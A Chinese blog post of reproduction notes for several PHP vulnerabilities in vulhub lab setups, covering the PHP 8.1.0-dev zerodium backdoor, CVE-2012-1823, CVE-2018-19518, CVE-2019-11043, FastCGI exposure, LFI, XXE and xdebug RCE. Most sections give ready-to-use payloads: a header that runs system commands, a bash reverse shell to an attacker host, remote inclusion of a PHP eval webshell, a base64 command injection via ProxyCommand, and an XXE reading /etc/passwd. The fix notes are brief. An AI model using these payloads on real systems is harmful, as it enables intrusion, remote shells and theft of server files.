• php漏洞复现


    简介

    漏洞环境无其他说明均为:vulhub。

    参考链接:

    百度百科:https://baike.baidu.com/item/PHP/9337?fr=aladdin

    PHP(PHP: Hypertext Preprocessor)即“超文本预处理器”,是在服务器端执行的脚本语言,尤其适用于Web开发并可嵌入HTML中。PHP语法利用了C、Java和Perl,该语言的主要目标是允许web开发人员快速编写动态网页。PHP脚本程序主要应用于Web服务端开发,命令行和编写桌面应用程序。PHP支持和所有web开发语言之间的WDDX复杂数据交换。关于相互连接,PHP 已经支持了对Java对象的即时连接,并且可以透明地将其用作PHP对象。

    顺便说一句:PHP是世界上最好的语言!

    PHP 8.1.0-dev开发版本后门复现

    参考链接:

    https://mp.weixin.qq.com/s/bgIzJfT_wcSuxwjtFBjhhQ

    https://blog.csdn.net/zy15667076526/article/details/116447864

    https://fengchenzxc.github.io/漏洞复现/开发语言漏洞/PHP/PHP zerodium后门漏洞/

    这个漏洞我感觉挺小众的,得是开发版本,应该还得是PHP 8.1.0-dev。该版本在2021年3月28日被植入后门,但是后门很快被发现并清除。存在后门时,攻击者可以通过构造User-Agentt头(两个t)来执行任意代码。

    PHP开发工程师Jake Birchall在对其中一个恶意COMMIT的分析过程中发现,在代码中注入的后门是来自一个PHP代码被劫持的网站上,并且采用了远程代码执行的操作,并且攻击者盗用了PHP开发人员的名义来提交此COMMIT。

    漏洞复现

    vulhub已经有该漏洞的环境了,给前辈点赞。

    启动环境,访问8080端口,页面输出hello world

    使用下面的POC请求包进行验证。

    GET / HTTP/1.1
    Host: 139.198.172.202:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    User-Agentt: zerodiumsystem("cat /etc/passwd");
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    

    注意:我发现User-Agentt不能在最后一行,不然长时间未响应。

    验证的User-Agentt的值也可以替换为zerodiumvar_dump(2*3);,防止安全设备检测到敏感操作。

    反弹shell:

    User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/your-ip/6666 0>&1'"); 	
    

    漏洞修复

    PHP的官方代码库已经被维护人员迁移至GitHub平台,之后的相关代码更新、修改将会都在GitHub上进行。

    CVE-2012-1823

    参考链接:

    https://kin6.top/2019/06/19/cve-2012-1823远程命令执行复现/

    https://blog.csdn.net/jiyongx/article/details/105220880

    apache在解析.php文件时会把接收到的url参数通过mod_cgi模块交给后端的php-cgi处理,而传递过程中未对参数进行过滤,导致php-cgi会把用户输入当作php参数执行。

    漏洞影响版本:php < 5.3.12 or php < 5.4.2。

    mod方式、fpm方式不受影响。

    CGI模式下可控命令行参数:

    c 指定php.ini文件(PHP的配置文件)的位置
    n 不要加载php.ini文件
    d 指定配置项
    b 启动fastcgi进程
    s 显示文件源码
    T 执行指定次该文件
    h和? 显示帮助

    漏洞复现

    访问http://139.198.172.202:8080/info.php,可以看到phpinfo界面。

    通过-s参数,可以查看info.php页面的源代码。

    使用-d参数进行远程文件包含。

    http://139.198.172.202:8080/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://your-ip/1.txt
    

    1.txt里的内容就是一句话<?php @eval($_POST[cmd]);?>

    更多利用方式可以参考上面的参考链接,我就不复现了,打盹了。

    漏洞修复

    这个漏洞已经比较老了,存在这个漏洞的网站少之又少。升级PHP版本,或者修改客户端与服务器端的通信方式。

    CVE-2018-19518

    参考链接:

    https://blog.csdn.net/nzjdsds/article/details/98475136

    https://blog.csdn.net/littlelittlebai/article/details/88750418

    https://www.codercto.com/a/43774.html

    https://www.freebuf.com/vuls/192712.html

    PHP imap 远程命令执行漏洞(CVE-2018-19518),这个漏洞比一般漏洞理解起来要麻烦呢。受影响版本:

    Ubuntu https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-19518.htm
    Debian https://security-tracker.debian.org/tracker/CVE-2018-19518
    Red Hat https://access.redhat.com/security/cve/cve-2018-19518
    SUSE https://www.suse.com/security/cve/CVE-2018-19518/

    PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。(摘自freebuf)

    漏洞复现

    启动环境,页面显示为Test your email server页面。在输入框中输入内容,点击Submit并拦截抓包。

    使用Github上的exploit。

    <?php
    # CRLF (c)
    # echo '1234567890'>/tmp/test0001
    
    $server = "x -oProxyCommand=echo	ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64	-d|sh}";
    
    imap_open('{'.$server.':143/imap}INBOX', '', '') or die("
    
    Error: ".imap_last_error());
    

    可以将请求包中hostname的值改为上面代码中$server的值。这一条命令的结果是将1234567890输出到/tmp/test0001文件中,要执行的命令是ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=这一部分。

    但是我发现并没有成功,我看其他博客,需要将 、+、=转换成url格式,最终exploit:

    x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}
    

    :%09
    +:%2b
    =:%3d

    漏洞修复

    这个漏洞出现在较老的PHP版本中,PHP官方针对7.1.x在7.1.25版本发布时修复了 CVE-2018-19518 漏洞。

    CVE-2019-11043

    参考链接:

    https://paper.seebug.org/1063/

    http://blog.leanote.com/post/snowming/9da184ef24bd

    https://blog.csdn.net/littlelittlebai/article/details/88750418

    https://blog.csdn.net/weixin_40412037/article/details/111225967

    2019年10月23日,github公开漏洞相关的详情以及exp。当nginx配置不当时,会导致php-fpm远程任意代码执行。

    攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,同时slen可控,从而触发该漏洞。

    影响范围:

    在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

    • PHP 7.0 - 7.3版本

    漏洞复现

    启动docker环境,访问页面,页面输出hello world

    下载漏洞利用工具,该工具使用go语言编写,所以需要我们有go语言环境。

    git clone https://github.com/neex/phuip-fpizdam.git
    cd phuip-fpizdam
    go get -v && go build
    

    在最后一步可能会报错。

    报错原因是默认使用的proxy.golang.org在国内无法访问。使用下面命令换成一个国内可以访问的地址:

    go env -w GOPROXY=https://goproxy.cn
    

    再次执行第三步,编译完成后会生成exe(windows下)文件。

    运行exe文件,注意参数中的url要加入index.php

    phuip-fpizdam.exe http://139.198.172.202:8080/index.php
    

    漏洞修复

    fpm

    参考链接:

    https://blog.csdn.net/u012206617/article/details/109165947

    https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

    这个漏洞全称:PHP-FPM Fastcgi 未授权访问漏洞,这个漏洞的漏洞原理很长,我怕自己说错了,就算了。

    漏洞复现

    启动环境,这个环境只有9000端口启动,不再使用浏览器访问,直接使用exp进行攻击利用。

    python exp.py 139.198.172.202 -p 9000 /usr/local/lib/php/PEAR.php -c "<?php echo `ls`;?>"
    

    注意ls两边是反引号。因为在vulhub的README.md文件中的exp链接打不开,所以直接复制第一个参考链接中的内容,使用的是python3版本。

    漏洞修复

    未找到,网上文章都是复现。

    inclusion

    参考链接:

    https://wooyun.js.org/drops/PHP文件包含漏洞总结.html

    https://blog.csdn.net/weixin_30552811/article/details/96985288

    https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

    https://blog.csdn.net/adminuil/article/details/104398823

    这是一个文件包含漏洞,该漏洞与PHP版本无关。PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

    漏洞复现

    启动环境,在该漏洞的文件夹中,存在利用脚本exp.py,使用的是python2版本。

    攻击完成后,访问如下链接进一步利用。

    http://139.198.172.202:8080/lfi.php?file=/tmp/g&1=system(%22id%22);
    

    漏洞修复

    该漏洞需要利用到phpinfo页面和文件包含漏洞,所以可以针对这两个条件进行网站加固。

    php_xxe

    参考链接:

    https://blog.csdn.net/weixin_45605352/article/details/116494111

    XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件和代码,造成 任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

    漏洞复现

    启动环境,访问链接,页面展示phpinfo页面。从phpinfo页面中可以看到libxml Version 版本为2.8.0,默认支持并开启了对外部实体的引用。

    在该漏洞环境的www目录中,存在多个php文件:

    dom.php
    index.php
    SimpleXMLElement.php
    simplexml_load_string.php

    访问simplexml_load_string.php,使用burp拦截抓包,将GET访问修改为POST,请求体中加入poc:

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe[ 
    	<!ELEMENT test ANY >	
    	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>	
    <test>
    	<name>&xxe;</name>					
    </test>		
    

    漏洞修复

    1. 使用开发语言提供的禁用外部实体的方法,PHP:libxml_disable_entity_loader(true);
      其他语言:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
    2. 过滤用户提交的XML数据,如关键词:SYSTEM 和 PUBLIC。

    xdebug-rce

    参考链接:

    https://blog.csdn.net/qq_43645782/article/details/107040426

    https://github.com/vulhub/vulhub/blob/master/php/xdebug-rce/README.md

    xdebug本身就是一个调试程序,对get参数或者cookie的执行参数进行验证,如果验证通过就会进行调试,这里因为没有指定远端主机,所以任意主机都可以对php进行调试,即执行命令。

    漏洞复现

    启动环境,访问链接,首页是phpinfo界面,ctrl+f,输入xdebug.remote,搜索关于xdebug远程调试的内容。

    xdebug.remote_enable //允许远程,为On或者1都表示启用,Off和0表示关闭关闭
    xdebug.remote_host = 127.0.0.1 //远程主机的IP在这里填写,固定的 127.0.0.1

    在该漏洞环境下存在利用脚本exp.py,该脚本为python3版本。

    注:不知道是我们公司网限制还是网络不好的原因,脚本一直提示socket超时,在这个地方卡了好久,最后用其他云主机复测的。

    漏洞修复

    关闭xdebug远程调试。应该也能限制远程调试的地址吧。

    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    JavaScript对象与数组大全
    矛盾后……
    信息化及信息系统课程相关网络资源
    有雪的日子..
    Gmail下蛋!!
    OS由XP换用WIN2003,问题以及解决
    软件考试
    又是生我的气..
    不得不说的无奈
    2005新年新气象..
  • 原文地址:https://www.cnblogs.com/ahtoh/p/14873889.html
Copyright © 2020-2023  润新知